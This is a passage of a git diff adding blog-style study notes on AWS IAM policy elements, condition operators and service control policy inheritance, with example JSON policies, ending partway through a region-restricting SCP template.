true +image: +--- + +- [IAM policy](#iam-policy) + - [IAM JSON policy elements reference](#iam-json-policy-elements-reference) + - [IAM JSON policy elements: Version](#iam-json-policy-elements-version) + - [IAM JSON policy elements: Id](#iam-json-policy-elements-id) + - [IAM JSON policy elements: Statement (required)](#iam-json-policy-elements-statement-required) + - [IAM JSON policy elements: Sid (statement ID)](#iam-json-policy-elements-sid-statement-id) + - [IAM JSON policy elements: Effect (required)](#iam-json-policy-elements-effect-required) + - [AWS JSON policy elements: Principal](#aws-json-policy-elements-principal) + - [AWS JSON policy elements: NotPrincipal](#aws-json-policy-elements-notprincipal) + - [IAM JSON policy elements: Action](#iam-json-policy-elements-action) + - [IAM JSON policy elements: NotAction](#iam-json-policy-elements-notaction) + - [IAM JSON policy elements: Resource](#iam-json-policy-elements-resource) + - [IAM JSON policy elements: NotResource](#iam-json-policy-elements-notresource) + - [IAM JSON policy elements: Condition](#iam-json-policy-elements-condition) + - [String condition operators](#string-condition-operators) + - [Numeric condition operators](#numeric-condition-operators) + - [Date condition operators](#date-condition-operators) + - [Boolean condition operators](#boolean-condition-operators) + - [Binary condition operators](#binary-condition-operators) + - [IP address condition operators](#ip-address-condition-operators) + - [Amazon Resource Name (ARN) condition operators](#amazon-resource-name-arn-condition-operators) + - [...IfExists condition operators](#ifexists-condition-operators) + - [Condition operator to check existence of condition keys](#condition-operator-to-check-existence-of-condition-keys) + - [Variables and tags](#variables-and-tags) + - [Supported data types](#supported-data-types) + - [example](#example) + - [AWS: Allows access based on date and time](#aws-allows-access-based-on-date-and-time) + - [AWS: Denies access to AWS based on the requested Region](#aws-denies-access-to-aws-based-on-the-requested-region) + - [AWS: Denies access to AWS based on the source IP](#aws-denies-access-to-aws-based-on-the-source-ip) + +--- + +# IAM policy + +--- + +## IAM JSON policy elements reference + +--- + + +### IAM JSON policy elements: Version + + +```yaml +Version : "2012-10-17" +``` + +--- + + +### IAM JSON policy elements: Id + +The Id element specifies an optional identifier for the policy. +- The ID is used differently in different services. +- For services that let you set an ID element, we recommend you use a UUID (GUID) for the value, or incorporate a UUID as part of the ID to ensure uniqueness. + +```yaml +"Id": "cd3ad3d9-2776-4ef1-a904-4c229d1642ee" +``` + +--- + + +### IAM JSON policy elements: Statement (required) + + +The Statement element is the main element for a policy. +- The Statement element can contain a single statement or an array of individual statements. +- Each individual statement block must be enclosed in curly braces { }. +- For multiple statements, the array must be enclosed in square brackets [ ]. + +```yaml +"Statement": [ + {...}, + {...}, + {...} +] + +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - s3:ListAllMyBuckets + - s3:GetBucketLocation + Resource: arn:aws:s3:::* + +- Effect: Allow + Action: s3:ListBucket + Resource: arn:aws:s3:::BUCKET-NAME + Condition: + StringLike: + s3:prefix: + - '' + - home/ + - home/${aws:username}/ + +- Effect: Allow + Action: s3:* + Resource: + - arn:aws:s3:::BUCKET-NAME/home/${aws:username} + - arn:aws:s3:::BUCKET-NAME/home/${aws:username}/* +``` + + +--- + + +### IAM JSON policy elements: Sid (statement ID) + +The Sid (statement ID) is an optional identifier that you provide for the policy statement. +- You can assign a Sid value to each statement in a statement array. +- In services that let you specify an ID element, such as SQS and SNS, +- the Sid value is just a sub-ID of the policy document's ID. +- In IAM, the Sid value must be unique within a JSON policy. + +```yaml +"Sid": "1" +``` + +--- + + +### IAM JSON policy elements: Effect (required) + +- specifies whether the statement results in an allow or an explicit deny. +- Valid values for Effect are `Allow` and `Deny`. + +```yaml +"Effect":"Allow/Deny" +``` + + +--- + + +### AWS JSON policy elements: Principal + +- to specify the principal that is allowed or denied access to a resource. +- You cannot use the Principal element in an IAM identity-based policy. +- You can use it in the trust policies for IAM roles and in resource-based policies. + - Resource-based policies are policies that you embed directly in a resource. + - For example, you can embed policies in an Amazon S3 bucket or an AWS KMS customer master key (CMK). + +You can specify any of the following principals in a policy: + +- AWS account and root user + +- Specific AWS accounts + - All identities inside the account can access the resource if they have the appropriate IAM permissions attached to explicitly allow access. + - This includes IAM users and roles in that account. + - to specify an AWS account,use the account ARN `arn:aws:iam::AWS-account-ID:root`, or a shortened form `AWS:account ID` + + ```yaml + "Principal": { "AWS": "arn:aws:iam::123456789012:root" } + "Principal": { "AWS": "123456789012" } + + # more than one AWS account as a principal using an array, + "Principal": { + "AWS": [ + "arn:aws:iam::123456789012:root", + "999999999999" + ] + } + ``` + +- IAM users + + ```yaml + "Principal": { "AWS": "arn:aws:iam::AWS-account-ID:user/user-name" } + "Principal": { + "AWS": [ + "arn:aws:iam::AWS-account-ID:user/user-name-1", + "arn:aws:iam::AWS-account-ID:user/UserName2" + ] + } + ``` + + +- Federated users (using web identity or SAML federation) + + ```yaml + # "Principal": { "Federated": "arn:aws:iam::AWS-account-ID:saml-provider/provider-name" } + "Principal": { "Federated": "cognito-identity.amazonaws.com" } + "Principal": { "Federated": "www.amazon.com" } + "Principal": { "Federated": "graph.facebook.com" } + "Principal": { "Federated": "accounts.google.com" } + ``` + + +- IAM roles + + ```yaml + "Principal": { "AWS": "arn:aws:iam::AWS-account-ID:role/role-name" } + ``` + + +- Assumed-role sessions + + ```yaml + "Principal": { "AWS": "arn:aws:sts::AWS-account-ID:assumed-role/role-name/role-session-name" } + ``` + +- AWS services + + ```yaml + Version: '2012-10-17' + Statement: + - Effect: Allow + Principal: + Service: + - ecs.amazonaws.com + - elasticloadbalancing.amazonaws.com + Action: sts:AssumeRole + ``` + +- Anonymous users (not recommended) + + ```yaml + "Principal": "*" + "Principal" : { "AWS" : "*" } + ``` + + +Use the Principal element in these ways: +- In IAM roles, use the Principal element in the role's trust policy to specify who can assume the role. +- For cross-account access, you must specify the 12-digit identifier of the trusted account. +- In resource-based policies, use the Principal element to specify the accounts or users who are allowed to access the resource. + +Note: +1. Do not use the Principal element in policies that you attach to IAM users and groups. +2. do not specify a principal in the permission policy for an IAM role. + - In those cases, the principal is implicitly the user that the policy is attached to (for IAM users) or the user who assumes the role (for role access policies). + - When the policy is attached to an IAM group, the principal is the IAM user in that group who is making the request. + + + + +--- + + +### AWS JSON policy elements: NotPrincipal + +Example IAM user in the same or a different account + +```yaml +Version: '2012-10-17' +Statement: + + +# all principals are explicitly denied access to a resource. +# except the user named Bob in AWS account 444455556666 +- Effect: Deny + Action: s3:* + Resource: + - arn:aws:s3:::BUCKETNAME + - arn:aws:s3:::BUCKETNAME/* + NotPrincipal: + AWS: + - arn:aws:iam::444455556666:user/Bob + - arn:aws:iam::444455556666:root + + +# all principals are explicitly denied access to a resource. +# except the assumed-role user named cross-account-audit-app in AWS account 444455556666 +- Effect: Deny + Action: s3:* + Resource: + - arn:aws:s3:::BUCKETNAME + - arn:aws:s3:::BUCKETNAME/* + NotPrincipal: + AWS: + - arn:aws:sts::444455556666:assumed-role/cross-account-read-only-role/cross-account-audit-app + - arn:aws:iam::444455556666:role/cross-account-read-only-role + - arn:aws:iam::444455556666:root + +``` + + +--- + + +### IAM JSON policy elements: Action + + +--- + + +### IAM JSON policy elements: NotAction + + +--- + + +### IAM JSON policy elements: Resource + + +--- + + +### IAM JSON policy elements: NotResource + + +--- + + +### IAM JSON policy elements: Condition + + +Use condition operators in the `Condition` element +- to match the condition key and value in the policy against values in the request context. +- The condition operator use in a policy depends on the condition key + - can choose a global condition key or a service-specific condition key. + - If the key that you specify in a policy condition is not present in the request context, the values do not match. + - This applies to all condition operators `except ...IfExists` and `Null check`. These operators test whether the key is present (exists) in the request context. + +The condition operators can be grouped into the following categories: + +- `String` + +- `Numeric` + +- `Date` + +- `Boolean` + +- `Binary` + +- `IPAddress` + +- `Arn` (available for only some services.) + +- `IfExists` (checks if the key value exists as part of another check) + +- `Null check` (checks if the key value exists as a standalone check) + +--- + + +#### String condition operators + +- restrict access based on comparing a key to a string value. + +Condition operator | Description +---|--- +`StringEquals` | Exact matching, case sensitive +`StringNotEquals` | Negated matching +`StringEqualsIgnoreCase` | Exact matching, ignoring case +`StringNotEqualsIgnoreCase` | Negated matching, ignoring case +`StringLike` | Case-sensitive matching. The values can include a multi-character match wildcard `*` or a single-character match wildcard `?` anywhere in the string.
    If a key contains multiple values, `StringLike` can be qualified with set operators—`ForAllValues:StringLike` and `ForAnyValue:StringLike`. +`StringNotLike` | Negated case-sensitive matching. The values can include a multi-character match wildcard `*` or a single-character match wildcard `?` anywhere in the string. + +Example, the following statement contains a `Condition` element that + +```json + +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "iam:*AccessKey*", + "Resource": "arn:aws:iam::ACCOUNT-ID-WITHOUT-HYPHENS:user/*", + "Condition": { + "StringEquals": { + "aws:PrincipalTag/job-category": "iamuser-admin" + } + // uses the `StringEquals` condition operator with the `aws:PrincipalTag` key + // to specify that the principal making the request must be tagged with the `iamuser-admin` job category. + } + } +} + +// the `aws:PrincipalTag/job-category` key is present in the request context +// if the principal is using an IAM user with attached tags. It is also included for a principal using an IAM role with attached tags or session tags. +// If a user without the tag attempts to view or edit an access key, the condition returns `false` and the request is implicitly denied by this statement. +``` + + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:ListAllMyBuckets", + "s3:GetBucketLocation" + ], + "Resource": "arn:aws:s3:::*" + }, + { + "Effect": "Allow", + "Action": "s3:ListBucket", + "Resource": "arn:aws:s3:::BUCKET-NAME", + "Condition": {"StringLike": {"s3:prefix": ["","home/","home/${aws:username}/"]}} + }, + // The policy allows the specified actions on an S3 bucket + // as long as the `s3:prefix` matches any one of the specified patterns. + { + "Effect": "Allow", + "Action": "s3:*", + "Resource": [ + "arn:aws:s3:::BUCKET-NAME/home/${aws:username}", + "arn:aws:s3:::BUCKET-NAME/home/${aws:username}/*" + ] + // lets an IAM user use the Amazon S3 console to manage his or her own "home directory" in an Amazon S3 bucket. + } + ] +} +``` + +restrict access to resources based on an application ID and a user ID for web identity federation, [link](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_s3_cognito-bucket.html) + + +--- + + +#### Numeric condition operators + +Numeric condition operators let you construct `Condition` elements that restrict access based on comparing a key to an integer or decimal value. + +Condition operator | Description +---|--- +`NumericEquals` | Matching +`NumericNotEquals` | Negated matching +`NumericLessThan` | "Less than" matching +`NumericLessThanEquals` | "Less than or equals" matching +`NumericGreaterThan` | "Greater than" matching +`NumericGreaterThanEquals` | "Greater than or equals" matching + + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "s3:ListBucket", + "Resource": "arn:aws:s3:::example_bucket", + "Condition": {"NumericLessThanEquals": {"s3:max-keys": "10"}} + // specify that the requester can list _up to_ 10 objects in `example_bucket` at a time. + } +} +// the `s3:max-keys` key is always present in the request when perform the `ListBucket` operation. +// If this policy allowed all Amazon S3 operations, then only the operations that include the `max-keys` context key with a value of less than or equal to 10 would be allowed. + +``` + + + +--- + + +#### Date condition operators + +- restrict access based on comparing a key to a date/time value. +- use these condition operators with the `aws:CurrentTime` key or `aws:EpochTime` keys. +- Wildcards are not permitted for date condition operators. + +Condition operator | Description +---|--- +`DateEquals` | Matching a specific date +`DateNotEquals` | Negated matching +`DateLessThan` | Matching before a specific date and time +`DateLessThanEquals` | Matching at or before a specific date and time +`DateGreaterThan` | Matching after a specific a date and time +`DateGreaterThanEquals` | Matching at or after a specific date and time + +Example, the following statement contains a `Condition` element that uses the `DateGreaterThan` condition operator with the `aws:TokenIssueTime` key. This condition + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "iam:*AccessKey*", + "Resource": "arn:aws:iam::ACCOUNT-ID-WITHOUT-HYPHENS:user/*", + "Condition": {"DateGreaterThan": {"aws:TokenIssueTime": "2020-01-01T00:00:01Z"}} + // specifies that the temporary security credentials used to make the request were issued in 2020. + // This policy can be updated programmatically every day to ensure that account members use fresh credentials. + } +} +// If the key that you specify in a policy condition is not present in the request context, the values do not match. +// The `aws:TokenIssueTime` key is present in the request context only when the principal uses temporary credentials to make the request. +// They key is not present in AWS CLI, AWS API, or AWS SDK requests that are made using access keys. +// In this example, if an IAM user attempts to view or edit an access key, the request is denied. + +``` + + +--- + + +#### Boolean condition operators + +- restrict access based on comparing a key to "true" or "false." + +Condition operator | Description +---|--- +`Bool` | Boolean matching + +Example +- uses the `Bool` condition operator with the `aws:SecureTransport` key to specify that the request must use SSL. +- If the key that you specify in a policy condition is not present in the request context, the values do not match. +- The `aws:SecureTransport` key is always present in the request context. + + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "iam:*AccessKey*", + "Resource": "arn:aws:iam::ACCOUNT-ID-WITHOUT-HYPHENS:user/*", + "Condition": {"Bool": {"aws:SecureTransport": "true"}} + } +} +``` + + +--- + + +#### Binary condition operators + +- onstruct `Condition` elements that test key values that are in binary format. +- It compares the value of the specified key byte for byte against a [base-64](https://en.wikipedia.org/wiki/Base64) encoded representation of the binary value in the policy. + +If the key that you specify in a policy condition is not present in the request context, the values do not match. + +```json +"Condition" : { + "BinaryEquals": { + "`key`" : "QmluYXJ5VmFsdWVJbkJhc2U2NA==" + } +} +``` + + +--- + + +#### IP address condition operators + +- construct `Condition` elements that restrict access based on comparing a key to an IPv4 or IPv6 address or range of IP addresses. +- use these with the `aws:SourceIp` key. +- The value must be in the standard CIDR format (Example, 203.0.113.0/24 or 2001:DB8:1234:5678::/64). +- If you specify an IP address without the associated routing prefix, IAM uses the default prefix value of `/32`. +- Some AWS services support IPv6, using `::` to represent a range of 0s. + +Condition operator | Description +---|--- +`IpAddress` | The specified IP address or range +`NotIpAddress` | All IP addresses except the specified IP address or range + +Example +- uses the `IpAddress` condition operator with the `aws:SourceIp` key to specify that the request must come from the IP range 203.0.113.0 to 203.0.113.255. +- The `aws:SourceIp` condition key resolves to the IP address that the request originates from. +- If the requests originates from an Amazon EC2 instance, `aws:SourceIp` evaluates to the instance's public IP address. +- If the key that you specify in a policy condition is not present in the request context, the values do not match. +- The `aws:SourceIp` key is always present in the request context, except when the requester uses a VPC endpoint to make the request. +- In this case, the condition returns `false` and the request is implicitly denied by this statement. + + + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "iam:*AccessKey*", + "Resource": "arn:aws:iam::ACCOUNT-ID-WITHOUT-HYPHENS:user/*", + "Condition": {"IpAddress": {"aws:SourceIp": "203.0.113.0/24"}} + } +} +``` + +Example +- mix IPv4 and IPv6 addresses to cover all of your organization's valid IP addresses. +- The `aws:SourceIp` condition key works only in a JSON policy if you are calling the tested API directly as a user. +- If you instead use a service to call the target service on your behalf, the target service sees the IP address of the calling service rather than the IP address of the originating user. +- This can happen, Example, if you use AWS CloudFormation to call Amazon EC2 to construct instances for you. There is currently no way to pass the originating IP address through a calling service to the target service for evaluation in a JSON policy. +- For these types of service API calls, do not use the `aws:SourceIp` condition key. + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "`someservice`:*", + "Resource": "*", + "Condition": { + "IpAddress": { + "aws:SourceIp": [ + "203.0.113.0/24", + "2001:DB8:1234:5678::/64" + ] + } + } + } +} +``` + + +--- + + +#### Amazon Resource Name (ARN) condition operators + +- construct `Condition` elements that restrict access based on comparing a key to an ARN. +- The ARN is considered a string. +- Not all services support comparing ARNs using this operator. + +Condition operator | Description +---|--- +`ArnEquals`, `ArnLike` | Case-sensitive matching of the ARN. Each of the six colon-delimited components of the ARN is checked separately and each can include a multi-character match wildcard `*` or a single-character match wildcard `?`. These behave identically. +`ArnNotEquals`, `ArnNotLike` | Negated matching for ARN. These behave identically. + + +Example +- policy attached to an Amazon SQS queue to which you want to send SNS messages. +- It gives Amazon SNS permission to send messages to the queue (or queues) of your choice, but only if the service is sending the messages on behalf of a particular Amazon SNS topic (or topics). +- specify the queue in the `Resource` field, and the Amazon SNS topic as the value for the `SourceArn` key. +- If the key that you specify in a policy condition is not present in the request context, the values do not match. +- The `aws:SourceArn` key is present in the request context only if a resource triggers a service to call another service on behalf of the resource owner. +- If an IAM user attempts to perform this operation directly, the condition returns `false` and the request is implicitly denied by this statement. + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "SQS:SendMessage", + "Principal": {"AWS": "`123456789012`"}, + "Resource": "arn:aws:sqs:`REGION`:`123456789012`:`QUEUE-ID`", + "Condition": {"ArnEquals": + {"aws:SourceArn": "arn:aws:sns:`REGION`:`123456789012`:`TOPIC-ID`"}} + } +} +``` + +--- + + +#### ...IfExists condition operators + +- add `IfExists` to the end of any condition operator name except the `Null` condition—Example, `StringLikeIfExists`. +- You do this to say "If the policy key is present in the context of the request, process the key as specified in the policy. If the key is not present, evaluate the condition element as true." +- Other condition elements in the statement can still result in a nonmatch, but not a missing key when checked with `...IfExists`. + +- Many condition keys describe information about a certain type of resource and only exist when accessing that type of resource. +- These condition keys are not present on other types of resources. +- This doesn't cause an issue when the policy statement applies to only one type of resource. +- However, there are cases where a single statement can apply to multiple types of resources, such as when the policy statement references actions from multiple services or when a given action within a service accesses several different resource types within the same service. +- In such cases, including a condition key that applies to only one of the resources in the policy statement can cause the `Condition` element in the policy statement to fail such that the statement's `"Effect"` does not apply. + + +Example: + + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Sid": "`THISPOLICYDOESNOTWORK`", + "Effect": "Allow", + "Action": "ec2:RunInstances", + "Resource": "*", + "Condition": {"StringLike": + {"ec2:InstanceType": ["t1.*","t2.*","m3.*"]}} + } +} +``` + +- enable the user to launch any instance that is type t1, t2 or m3. +- However, launching an instance actually requires accessing many resources in addition to the instance itself; Example, images, key pairs, security groups, etc. +- The entire statement is evaluated against every resource that is required to launch the instance. +- These additional resources do not have the `ec2:InstanceType` condition key, so the `StringLike` check fails, and the user is not granted the ability to launch _any_ instance type. +- To address this, use the `StringLikeIfExists` condition operator instead. + - the test only happens if the condition key exists. +- You could read the following as: + - If the resource being checked has an "`ec2:InstanceType`" condition key, then allow the action only if the key value begins with `"t1.\*", "t2.\*", or "m3.\*"`. + - If the resource being checked does not have that condition key, then don't worry about it. +- The `DescribeActions` statement includes the actions required to view the instance in the console. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "RunInstance", + "Effect": "Allow", + "Action": "ec2:RunInstances", + "Resource": "*", + "Condition": { + "StringLikeIfExists": {"ec2:InstanceType": ["t1.*","t2.*","m3.*"]}} + }, + { + "Sid": "DescribeActions", + "Effect": "Allow", + "Action": [ + "ec2:DescribeImages", + "ec2:DescribeInstances", + "ec2:DescribeVpcs", + "ec2:DescribeKeyPairs", + "ec2:DescribeSubnets", + "ec2:DescribeSecurityGroups" + ], + "Resource": "*" + }] +} +``` + + +--- + + +#### Condition operator to check existence of condition keys + +Use a `Null` condition operator to check if a condition key is present at the time of authorization. +- `true` (the key doesn't exist — it is null) or +- `false` (the key exists and its value is not null). + + +Example +- determine whether a user is using their own credentials for the operation or temporary credentials. +- If the user is using temporary credentials, then the key `aws:TokenIssueTime` exists and has a value. +- condition that states that the user must not be using temporary credentials (the key must not exist) for the user to use the Amazon EC2 API. + +```json +{ + "Version": "2012-10-17", + "Statement":{ + "Action":"ec2:*", + "Effect":"Allow", + "Resource":"*", + "Condition":{ + "Null":{"aws:TokenIssueTime":"true"} + } + } +} +``` + + +--- + +### Variables and tags + + + + +--- + +### Supported data types + + + + + + + +--- + +## example + +## AWS: Allows access based on date and time + +```json +// restricts access to actions that occur between April 1, 2020 and June 30, 2020 +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "service-prefix:action-name", + "Resource": "*", + "Condition": { + "DateGreaterThan": {"aws:CurrentTime": "2020-04-01T00:00:00Z"}, + "DateLessThan": {"aws:CurrentTime": "2020-06-30T23:59:59Z"} + } + } + ] +} +``` + + +--- + +## AWS: Denies access to AWS based on the requested Region + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAllOutsideRequestedRegions", + "Effect": "Deny", + "NotAction": [ + "cloudfront:*", + "iam:*", + "route53:*", + "support:*" + ], + // uses the NotAction element with the Deny effect, which explicitly denies access to all of the actions not listed in the statement. + // Actions in the CloudFront, IAM, Route 53, and AWS Support services should not be denied + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:RequestedRegion": [ + "eu-central-1", + "eu-west-1", + "eu-west-2", + "eu-west-3" + ] + } + } + } + ] +} +``` + + + +--- + +## AWS: Denies access to AWS based on the source IP + +denies access to all AWS actions in the account when the request comes `from principals outside the specified IP range`. + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Deny", + "Action": "*", + "Resource": "*", + "Condition": { + "NotIpAddress": { + "aws:SourceIp": [ + "192.0.2.0/24", + "203.0.113.0/24" + ] + }, + "Bool": {"aws:ViaAWSService": "false"} + } + } +} +``` diff --git a/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-Policy-inheritance.md b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-Policy-inheritance.md new file mode 100644 index 00000000000..591ad2480da --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-Policy-inheritance.md @@ -0,0 +1,157 @@ +--- +title: AWS - IdenAccessManage - SCPs policy inheritance +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage, SCPs] +toc: true +image: +--- + +[toc] + +--- + +# SCPs policy inheritance + + +attach policies to organization entities (organization root, organizational unit (OU), or account) in your organization: + +- attach a policy to the organization root + - all OUs and accounts in the organization inherit that policy. +- attach a policy to a specific OU + - accounts or child OU that are directly under that OU inherit the policy. +- attach a policy to a specific account + - it affects only that account + +Because you can attach policies to multiple levels in the organization, accounts can inherit multiple policies. + +Exactly how policies affect the OUs and accounts that inherit them depends on the type of policy: +1. Service control policies (SCPs) +2. Management policy types + - AI services opt-out policies + - Backup policies + - Tag policies + +--- + +## Inheritance for service control policies + +--- + +### Inheritance for service control policies (SCPs) + +- behaves like a filter +- tree structure of the organization + - from the root to all of the OUs and end at the accounts. + - All AWS permissions flow into the root of the tree. + - permissions must then flow past the SCPs attached to the root, OUs, and the account to get to the principal (an IAM role or user) making a request +- Each SCP can filter the permissions passing through to the levels below it. + - If an action is blocked by a `Deny` statement, + - then all OUs and accounts affected by that SCP are denied access to that action. +- SCPs can **_only_** filter; they never add permissions. + +- SCPs do not support inheritance operators that alter how elements of the policy are inherited by child OUs and accounts. + +- An SCP at a lower level can't add a permission after it is blocked by an SCP at a higher level. + - traverse down the hierarchy of OUs to the account + - At each level, the result of the evaluation at the parent becomes the policy on the left of the diagram and is compared to the SCPs attached to the child OU. + + +### Example + +![How_SCP_Permissions_Work](https://i.imgur.com/82X5eFC.png) + +- Because the SCP attached to the root doesn't allow D or E, no OUs or accounts in the organization can use them. + - Even though the SCP attached to the OU explicitly allows D and E, they are blocked because they're blocked by the SCP attached to the root. + - Because the OU's SCP doesn't allow A or B, those permissions are blocked for the OU and any of its child OUs or accounts. + - However, other OUs that might exist under the root can still allow A and B. + +- some child OU called X + - **the oval on the left** represents the inherited, effective permissions permitted by all of the SCPs above OU X in the hierarchy. + - **The oval on the right** represents the SCP attached to an OU or an AWS account contained in OU X. + - **the intersection of those permissions** is what is available to be used the entity on the right. +- If that entity is an AWS account + - intersection is the set of permissions that can be granted to users and roles in that account. +- If the entity is an OU + - intersection is the set of permissions that can be inherited by that OU's children. +- Repeat the process for each level down the OU hierarchy + - until reach the account itself. + - That final effective policy is the list of permissions that were allowed by every SCP above that account and attached to it. + + + +--- + + +### service control policies (SCPs) with IAM permission policies + + Users and roles in accounts must still be granted permissions using AWS IAM permission policies attached + +- The SCPs + - only determine what permissions are **_available_** to be granted by such policies. + - The user can't perform any actions that the applicable SCPs don't allow. +- IAM permission policies + - Actions allowed by the SCPs can be used if they are granted to the user or role by IAM permission policies. + +When you attach SCPs to the organization root, OUs, or directly to accounts +- all policies that affect a given account are evaluated together using the same rules that govern IAM permission policies: + + * Any action that isn't explicitly allowed by an SCP is implicitly denied and can't be delegated to users or roles in the affected accounts. + + * Users and roles in affected accounts can't perform any actions that are listed in the SCP's `Deny` statement. + * An explicit Deny overrides any Allow that other SCPs might grant + + * Any action that has an explicit `Allow` in an SCP can be delegated to users and roles in the affected accounts. + * such as the default "\*" SCP or by any other SCP that calls out a specific service or action + + +--- + + +### SCPs' `FullAWSAccess` + + +- By default, an SCP named `FullAWSAccess` is attached to every organization root, OU, and account. + - This default SCP allows all actions and all services. + - So in a new organization, until creating or manipulating the SCPs, all existing IAM permissions continue to operate as they did. + - As apply a new or modified SCP to the organization root or an OU that contains an account, the permissions that your users have in that account become filtered by the SCP. + - Permissions that used to work might now be denied if they're not allowed by the SCP at every level of the hierarchy down to the specified account. + +- If disable the SCP policy type on the organization root + - all SCPs are automatically detached from all entities in the organization root. +- If re-enable SCPs policy type on the organization root + - all the original attachments are lost + - and all entities are reset to being attached to only the default `FullAWSAccess` SCP. + + +see list of policies applied to an account and where that policy comes from. +1. choose an account in the AWS Organizations console. +2. On the account details page, choose **Policies** and then choose **Service Control Policies** in the right-hand details pane. +3. The same policy might apply to the account multiple times because the policy can be attached to any or all of the parent containers of the account. +4. The effective policy that applies to the account is the intersection of allowed permissions of all applicable policies. + +--- + + +### Example: to allow an AWS service API at the member account level + +- must allow that API at **_every_** level between the member account and the root of your organization. +- must attach SCPs to every level from your organization’s root to the member account that allows the given AWS service API (such as ec2:RunInstances). +- use either of the following strategies + + * A deny list strategy + * makes use of the `FullAWSAccess` SCP attached by default to every OU and account. + * This SCP + * overrides the default implicit deny + * explicitly allows all permissions from the root to every account + * unless explicitly deny a permission with an additional SCP created and attached to the appropriate OU or account. + * This strategy works because an explicit deny in a policy always overrides allow + * No account below the level of the OU with the deny policy can use the denied API + * and there is no way to add the permission back lower in the hierarchy. + + * An allow list strategy + * remove the `FullAWSAccess` SCP ttached by default to every OU and account. + * no APIs are permitted anywhere unless you explicitly allow them. + * To allow a service API to operate in an AWS account, you must create your own SCPs and attach them to the account and every OU above it, up to and including the root. + * Every SCP in the hierarchy, starting at the root, must explicitly allow the APIs to be usable in the OUs and accounts below it. + * This strategy works because an explicit allow in an SCP overrides an implicit 暗示的 deny diff --git a/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-template.md b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-template.md new file mode 100644 index 00000000000..229700b1b22 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs-template.md @@ -0,0 +1,695 @@ +--- +title: AWS - IdenAccessManage - SCPs Template +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage, SCPs] +toc: true +image: +--- + +[toc] + +--- + +# SCPs Template + +--- + +# General Example + +--- + +## Example: Deny access to AWS based on the requested AWS Region + +This SCP +- denies access to any operations outside of the specified Regions. + - uses the `Deny` effect to deny access to all requests for operations that don't target the approved regions. +- provides exemptions for operations in approved global services. + - The [NotAction](https://docs.aws.amazon.com/IAM/latest/UserGuide/referencepolicieselementsnotaction.html) element enables you to list services whose operations (or individual operations) are exempted from this restriction. + - Because global services have endpoints that are physically hosted by the `us-east-1` Region , they must be exempted in this way. + - With an SCP structured this way + - requests made to global services in the `us-east-1` Region are allowed if the requested service is included in the `NotAction` element. + - Any other requests to services in the `us-east-1` Region are denied by this example policy. + +- This example also exempt requests made by either of two specified administrator roles. + + +Considerations + +- If you use `AWS Control Tower` in the organization, we recommend that you do not use this example policy. + - `AWS Control Tower` works across AWS Regions in a way that is not compatible with this example policy. + +- AWS KMS and AWS Certificate Manager support Regional endpoints. + - However, if you want to use them with a global service such as Amazon CloudFront you must include them in the global service exclusion list in the following example SCP. + - A global service like AWS CloudFormation typically requires access to AWS KMS and ACM in the same region, which for a global service is the US East (N. Virginia) Region (`us-east-1`). + +- By default, AWS STS is a global service and must be included in the global service exclusion list. + - However, you can enable AWS STS to use Region endpoints instead of a single global endpoint. + - If you do this, you can remove STS from the global service exemption list in the following example SCP. + - For more information see [Managing AWS STS in an AWS Region](https://docs.aws.amazon.com/IAM/latest/UserGuide/idcredentialstempenable-regions.html). + +> This example might not include all of the latest global AWS services or operations. +> - Replace the list of services and operations with the global services used by accounts in the organization. +> view the [service last accessed data in the IAM console](https://docs.aws.amazon.com/IAM/latest/UserGuide/accesspoliciesaccess-advisor.html) to determine what global services the organization uses. +> - The **Access Advisor** tab on the details page for an IAM user, group, or role displays the AWS services that have been used by that entity, sorted by most recent access. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAllOutsideEU", + "Effect": "Deny", + "NotAction": [ + "a4b:*", + "acm:*", + "aws-marketplace-management:*", + "aws-marketplace:*", + "aws-portal:*", + "awsbillingconsole:*", + "budgets:*", + "ce:*", + "chime:*", + "cloudfront:*", + "config:*", + "cur:*", + "directconnect:*", + "ec2:DescribeRegions", + "ec2:DescribeTransitGateways", + "ec2:DescribeVpnGateways", + "fms:*", + "globalaccelerator:*", + "health:*", + "iam:*", + "importexport:*", + "kms:*", + "mobileanalytics:*", + "networkmanager:*", + "organizations:*", + "pricing:*", + "route53:*", + "route53domains:*", + "s3:GetAccountPublic*", + "s3:ListAllMyBuckets", + "s3:PutAccountPublic*", + "shield:*", + "sts:*", + "support:*", + "trustedadvisor:*", + "waf-regional:*", + "waf:*", + "wafv2:*", + "wellarchitected:*" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:RequestedRegion": [ + "eu-central-1", + "eu-west-1" + ] + }, + "ArnNotLike": { + "aws:PrincipalARN": [ + "arn:aws:iam::*:role/Role1AllowedToBypassThisSCP", + "arn:aws:iam::*:role/Role2AllowedToBypassThisSCP" + ] + // 